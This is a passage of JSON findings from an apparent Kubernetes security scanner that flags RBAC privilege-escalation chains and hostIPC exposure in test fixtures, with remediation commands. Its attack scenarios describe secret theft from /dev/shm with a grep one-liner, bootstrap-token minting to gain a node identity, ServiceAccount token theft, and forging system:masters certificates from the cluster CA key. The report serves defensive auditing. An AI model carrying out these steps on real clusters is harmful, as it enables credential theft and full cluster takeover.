        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "workload_hijack",
        "technique": "KUBE-PRIVESC-003",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "User",
          "name": "gw-patcher"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "gw-powerful",
          "namespace": "gw-workloads"
        },
        "permission": "patch deployments",
        "gains": "can rewrite the pod template of Deployment gw-workloads/gw-web to run as ServiceAccount gw-workloads/gw-powerful",
        "source_binding": "gw-patcher",
        "source_role": "gw-patcher",
        "binding_namespace": "gw-workloads"
      },
      {
        "step": 2,
        "action": "read_secrets",
        "technique": "KUBE-PRIVESC-005",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "gw-powerful",
          "namespace": "gw-workloads"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "list secrets",
        "gains": "can read secrets in kube-system or cluster-wide",
        "source_binding": "gw-powerful-secrets",
        "source_role": "gw-secret-lister"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.2",
        "title": "Minimize access to secrets",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:kube_system_secrets"
    ]
  },
  {
    "id": "KUBE-ESCAPE-004:Deployment:vulnerable:host-ns-app",
    "rule_id": "KUBE-ESCAPE-004",
    "severity": "HIGH",
    "score": 8,
    "category": "privilege_escalation",
    "title": "Pod shares host IPC (`hostIPC: true`) in `Deployment/vulnerable/host-ns-app`",
    "description": "Workload `Deployment/vulnerable/host-ns-app` sets `spec.hostIPC: true`, joining the host's IPC (Inter-Process Communication) namespace. The container can read and write the host's POSIX shared-memory segments (`/dev/shm`), SysV shared memory, message queues, and semaphore arrays.\n\nThe attack surface is data, not code execution. Many host-resident processes (caching layers, GPU compute via CUDA's `cuMemAlloc`, Redis with `unixsocket`, Postgres' shared buffers, even kernel-side IMA logs) store in-memory state in IPC segments under the assumption no untrusted process can address them. With `hostIPC: true` an attacker dumps every visible segment, harvests cached secrets, replays message queues, or corrupts semaphores to cause denial-of-service.\n\nBishop Fox's `bad-pods/hostipc` example uses `ipcs -m` to list shared-memory segments and `ipcs -p` to identify owning PIDs, then `cat /dev/shm/*` (or attaches via `shmat`) to extract their contents. hostIPC is forbidden by the Pod Security Standards Baseline level.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Read or modify shared memory and SysV IPC of every process on the node; leak in-memory secrets, GPU buffers, database caches; denial-of-service via semaphore corruption.",
    "attack_scenario": [
      "Gain code execution in the pod with hostIPC enabled.",
      "Enumerate IPC: `ipcs -a` lists shared-memory IDs, message queues, and semaphores.",
      "Dump `/dev/shm`: `ls -la /dev/shm; for f in /dev/shm/*; do strings \"$f\" | grep -iE 'token|secret|key'; done`.",
      "Attach to a SysV segment with a small program (`shmat(shmid, 0, SHM_RDONLY)`) and exfiltrate.",
      "If a co-tenant runs an in-memory cache (Redis without disk persistence, an ML inference engine), extract model weights or session tokens still resident."
    ],
    "evidence": {
      "hostIPC": true
    },
    "remediation": "Set `hostIPC: false` (default).",
    "remediation_steps": [
      "Confirm no legitimate IPC sharing requirement; very few application workloads need this. Typically only NVIDIA GPU sharing or some HPC workloads.",
      "Remove `hostIPC: true` from the pod template.",
      "Where shared memory is a feature need (containers cooperating), use a single Pod with multiple containers and an `emptyDir { medium: Memory }` volume instead of host IPC.",
      "Validate: `kubectl get deployment/host-ns-app -n vulnerable -o jsonpath='{.spec.template.spec.hostIPC}'` is empty/false."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://github.com/BishopFox/badPods/blob/main/manifests/hostipc/README.md",
      "https://www.elastic.co/guide/en/security/8.19/kubernetes-pod-created-with-hostipc.html"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Kubernetes Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "Bishop Fox — badPods/hostipc",
        "url": "https://github.com/BishopFox/badPods/blob/main/manifests/hostipc/README.md"
      },
      {
        "title": "Elastic Security — Kubernetes Pod Created With HostIPC",
        "url": "https://www.elastic.co/guide/en/security/8.19/kubernetes-pod-created-with-hostipc.html"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1552.001",
        "name": "Unsecured Credentials in Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1005",
        "name": "Data from Local System",
        "url": "https://attack.mitre.org/techniques/T1005/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.2.3",
        "title": "Minimize the admission of containers wishing to share the host IPC namespace",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Pod Security",
        "title": "Application security: securityContext",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:pod_security",
      "check:hostIPC"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 8,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can **obtain a node identity** for any node in 1 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "nodeid-tokenwriter",
      "namespace": "nodeid-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`.",
      "Acting as `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create secrets in kube-system]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 1,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create secrets in kube-system` that enables the first hop (`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "nodeid-tokenwriter",
          "namespace": "nodeid-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "nodeid-tokenwriter",
        "source_role": "nodeid-tokenwriter",
        "binding_namespace": "kube-system"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-IDENTITY:ServiceAccount/privesc-fixtures/sa-secret-mint:node_identity",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-IDENTITY",
    "severity": "HIGH",
    "score": 8,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/privesc-fixtures/sa-secret-mint` can **obtain a node identity** for any node in 1 hop(s)",
    "description": "Subject `ServiceAccount/privesc-fixtures/sa-secret-mint` has a privesc path that terminates in a kubelet client identity (`system:node:\u003cname\u003e` in `system:nodes`) for a node of its choosing.\n\nThe Node authorizer grants that identity, for the node it names, every Secret, ConfigMap, and PersistentVolumeClaim referenced by a pod bound to the node, and a TokenRequest for the ServiceAccount of any such pod. It checks the name prefix and the group, not that the caller is a kubelet, so an identity for any node name is the union of every pod credential in the cluster.\n\nThe chain (1 hop(s); each step uses an explicit RBAC verb the engine validated):\n  1. `ServiceAccount/privesc-fixtures/sa-secret-mint` → `/` via `bootstrap_token_mint` (create,get secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-secret-mint",
      "namespace": "privesc-fixtures"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/privesc-fixtures/sa-secret-mint` → `node identity`"
    },
    "impact": "Act as a kubelet for any node: mint tokens for the ServiceAccounts of the pods on it and read the Secrets they reference. Across node names that is every pod credential in the cluster, kube-system's controllers included.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/privesc-fixtures/sa-secret-mint`.",
      "Acting as `ServiceAccount/privesc-fixtures/sa-secret-mint`, the attacker writes a Secret of type `bootstrap.kubernetes.io/token` in kube-system (`create,get secrets in kube-system`). The bootstrap-token authenticator treats it as a credential for `system:bootstrap:\u003cid\u003e` in the groups the Secret lists, and this cluster's bootstrap group is bound to the nodeclient CSR auto-approval. The token therefore buys an auto-approved kubelet client certificate for any node name.",
      "With a kubelet identity for any node name, the attacker requests tokens for the ServiceAccounts of the pods on that node and reads the Secrets those pods reference. Repeating this for each node's name yields every pod credential in the cluster, including kube-system's."
    ],
    "evidence": {
      "chain_summary": [
        "1. bootstrap_token_mint [create,get secrets in kube-system]"
      ],
      "first_action": "bootstrap_token_mint",
      "hop_count": 1,
      "target": "node_identity",
      "target_namespace": "",
      "techniques": [
        "bootstrap_token_mint"
      ]
    },
    "remediation": "Remove `create certificatesigningrequests/nodeclient` from identities that are not the bootstrap group, keep kube-system Secret writes to the control plane, never pair `impersonate users` with `impersonate groups` naming `system:nodes`, then break the chain at: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
    "remediation_steps": [
      "Break the chain at: remove the permission `create,get secrets in kube-system` that enables the first hop (`ServiceAccount/privesc-fixtures/sa-secret-mint` → `/`).",
      "Audit who may create the nodeclient subresource: `kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name == \"system:certificates.k8s.io:certificatesigningrequests:nodeclient\") | .subjects[]? | \"\\(.kind) \\(.name)\"'`. Expect only `system:bootstrappers:kubeadm:default-node-token`.",
      "Alert on kubelet client CSRs whose requester is not a bootstrap token or an existing node, and on approved CSRs naming a node that does not exist (`kubectl get csr -o custom-columns=NAME:.metadata.name,REQUESTOR:.spec.username,SIGNER:.spec.signerName,CONDITION:.status.conditions[*].type`).",
      "Keep Secret writes in kube-system to the control plane and the platform team; alert on new Secrets of type `bootstrap.kubernetes.io/token`.",
      "Where a Secret write in kube-system cannot be removed, rotate or expire bootstrap tokens (`kubeadm token list`) and delete unused ones.",
      "Enable the NodeRestriction admission plugin (default on kubeadm) so a node identity obtained this way cannot also modify other nodes' pods or labels."
    ],
    "references": [
      "https://kubernetes.io/docs/reference/access-authn-authz/node/",
      "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval",
      "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes: Using Node Authorization",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/node/"
      },
      {
        "title": "Kubernetes: TLS bootstrapping (nodeclient auto-approval)",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval"
      },
      {
        "title": "Kubernetes: Authenticating with Bootstrap Tokens",
        "url": "https://kubernetes.io/docs/reference/access-authn-authz/bootstrap-tokens/"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "bootstrap_token_mint",
        "technique": "KUBE-PRIVESC-026",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "sa-secret-mint",
          "namespace": "privesc-fixtures"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create,get secrets in kube-system",
        "gains": "can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name",
        "source_binding": "crb-secret-mint",
        "source_role": "cr-secret-mint"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:node_identity"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS:ServiceAccount/deepchain-tenant/deepchain-binder:system_masters",
    "rule_id": "KUBE-PRIVESC-PATH-SYSTEM-MASTERS",
    "severity": "HIGH",
    "score": 8,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/deepchain-tenant/deepchain-binder` can impersonate **`system:masters`** in 4 hop(s), bypassing all RBAC",
    "description": "Subject `ServiceAccount/deepchain-tenant/deepchain-binder` can chain into the ability to impersonate the `system:masters` group. `system:masters` is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants `system:masters` reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with `O=system:masters` skips authorization entirely).\n\nThe chain (4 hop(s); each step is an RBAC verb the engine validated):\n  1. `ServiceAccount/deepchain-tenant/deepchain-binder` → `/` via `modify_role_binding` (create/update rolebindings + bind (cluster)roles): can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention\n  2. `ServiceAccount/deepchain-tenant/deepchain-binder` → `ServiceAccount/deepchain-tenant/deepchain-privileged` via `colocated_sa_token_theft` (namespace-admin in deepchain-tenant): can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged\n  3. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n  4. `ServiceAccount/deepchain-tenant/deepchain-privileged` → `/` via `control_plane_pki_theft` (root on a schedulable control-plane node): can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline\n\nImpersonation of `system:masters` is the rarest but most severe finding type. Most clusters do not give workload SAs `impersonate users/groups` because `system:masters` is the pathological consequence: a single `impersonate` grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "deepchain-binder",
      "namespace": "deepchain-tenant"
    },
    "scope": {
      "level": "cluster",
      "detail": "Source `ServiceAccount/deepchain-tenant/deepchain-binder` → `system:masters`: terminal sink is cluster-scoped (full API control or host root)"
    },
    "impact": "Impersonating `system:masters` bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the `impersonate` audit annotation.",
    "attack_scenario": [
      "Attacker compromises any workload bound to `ServiceAccount/deepchain-tenant/deepchain-binder`.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker writes a RoleBinding that grants them a high-privilege role, typically `cluster-admin`. The binding write alone would not be enough: the API server runs an escalation-prevention check on every binding create and update, refusing any write that grants permissions the writer does not already hold. This subject clears that check because it also holds the `bind` verb on the target role (`create/update rolebindings + bind (cluster)roles`), which is the documented carve-out from it.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-binder`, the attacker uses the `colocated_sa_token_theft` technique to reach `ServiceAccount/deepchain-tenant/deepchain-privileged` via `namespace-admin in deepchain-tenant`, which gains can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `node_drain_migrate` technique via `delete pods + update nodes/status`, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.",
      "Acting as `ServiceAccount/deepchain-tenant/deepchain-privileged`, the attacker uses the `control_plane_pki_theft` technique via `root on a schedulable control-plane node`, which gains can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline.",
      "Final step: attacker can impersonate group `system:masters`. The kube-apiserver short-circuits authorization for `system:masters` via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator."
    ],
    "evidence": {
      "chain_summary": [
        "1. modify_role_binding [create/update rolebindings + bind (cluster)roles]",
        "2. colocated_sa_token_theft [namespace-admin in deepchain-tenant]",
        "3. node_drain_migrate [delete pods + update nodes/status]",
        "4. control_plane_pki_theft [root on a schedulable control-plane node]"
      ],
      "first_action": "modify_role_binding",
      "hop_count": 4,
      "target": "system_masters",
      "target_namespace": "",
      "techniques": [
        "modify_role_binding",
        "colocated_sa_token_theft",
        "node_drain_migrate",
        "control_plane_pki_theft"
      ]
    },
    "remediation": "Remove every `impersonate` grant on a path to `system:masters`. Concretely: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
    "remediation_steps": [
      "List subjects with impersonate: `kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == \"User\" or .kind == \"Group\" or .kind == \"ServiceAccount\") | .metadata.name + \" → \" + (.roleRef.name)'` then check each role's rules for `impersonate`.",
      "Almost no production workload genuinely needs `impersonate users/groups`. Kubectl plugins/dashboards that *do* need it should use `kubectl --as=...` from a human admin's session, not a workload SA.",
      "Break the chain: remove the `create/update rolebindings + bind (cluster)roles` capability that enables hop 1 (`ServiceAccount/deepchain-tenant/deepchain-binder` → `/`).",
      "For kubectl-as-a-service workloads, scope the impersonation with `resourceNames: [\u003callowed-user\u003e]` to a fixed allowlist of principals; *never* `users: [*]` or `groups: [*]`.",
      "Wire admission policy: a Kyverno rule that fails any RoleBinding granting `impersonate` to a non-system subject without an explicit `resourceNames` carve-out."
    ],
    "references": [
      "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html",
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/",
      "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "HackTricks Cloud — Abusing RBAC in Kubernetes",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html"
      },
      {
        "title": "Kubernetes — RBAC good practices",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/"
      },
      {
        "title": "Microsoft — Threat Matrix for Kubernetes",
        "url": "https://www.microsoft.com/en-us/security/blog/2020/04/02/attack-matrix-kubernetes/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1098",
        "name": "Account Manipulation",
        "url": "https://attack.mitre.org/techniques/T1098/"
      },
      {
        "id": "T1556",
        "name": "Modify Authentication Process",
        "url": "https://attack.mitre.org/techniques/T1556/"
      },
      {
        "id": "T1068",
        "name": "Exploitation for Privilege Escalation",
        "url": "https://attack.mitre.org/techniques/T1068/"
      }
    ],
    "escalation_path": [
      {
        "step": 1,
        "action": "modify_role_binding",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "create/update rolebindings + bind (cluster)roles",
        "gains": "can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention",
        "binding_namespace": "deepchain-tenant"
      },
      {
        "step": 2,
        "action": "colocated_sa_token_theft",
        "technique": "KUBE-PRIVESC-010",
        "difficulty": "easy",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-binder",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "permission": "namespace-admin in deepchain-tenant",
        "gains": "can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged"
      },
      {
        "step": 3,
        "action": "node_drain_migrate",
        "technique": "KUBE-PRIVESC-016",
        "difficulty": "hard",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "delete pods + update nodes/status",
        "gains": "can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation"
      },
      {
        "step": 4,
        "action": "control_plane_pki_theft",
        "technique": "KUBE-ESCAPE-CONTROLPLANE-001",
        "difficulty": "moderate",
        "from_subject": {
          "kind": "ServiceAccount",
          "name": "deepchain-privileged",
          "namespace": "deepchain-tenant"
        },
        "to_subject": {
          "kind": "",
          "name": ""
        },
        "permission": "root on a schedulable control-plane node",
        "gains": "can read /etc/kubernetes/pki/ca.key and forge an O=system:masters client certificate offline"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.8",
        "title": "Limit use of the Bind, Impersonate and Escalate permissions in the Kubernetes cluster",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:privesc",
      "target:system_masters"
    ]
  },
  {
    "id": "KUBE-PRIVESC-PATH-NODE-ESCAPE:ServiceAccount/nodeid-fixtures/nodeid-tokenwriter:node_escape",
    "rule_id": "KUBE-PRIVESC-PATH-NODE-ESCAPE",
    "severity": "HIGH",
    "score": 7.95,
    "category": "privilege_escalation",
    "title": "`ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` can reach **node escape** (host root) in 3 hop(s)",
    "description": "Subject `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` has a privesc path that terminates in the ability to schedule a pod with host-level access (`hostPath: /`, `privileged: true`, `hostPID`, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.\n\nThe chain (3 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):\n  1. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `/` via `bootstrap_token_mint` (create secrets in kube-system): can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name\n  2. `ServiceAccount/nodeid-fixtures/nodeid-tokenwriter` → `ServiceAccount/foothold-exec/foothold-decoy-sa` via `node_token_request` (node authorizer: create serviceaccounts/token for pods bound to the node): as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there\n  3. `ServiceAccount/foothold-exec/foothold-decoy-sa` → `/` via `node_drain_migrate` (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation\n\nNode escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's `cni0/flannel.1/cali*` interface, and exfiltrate every projected ServiceAccount token by reading 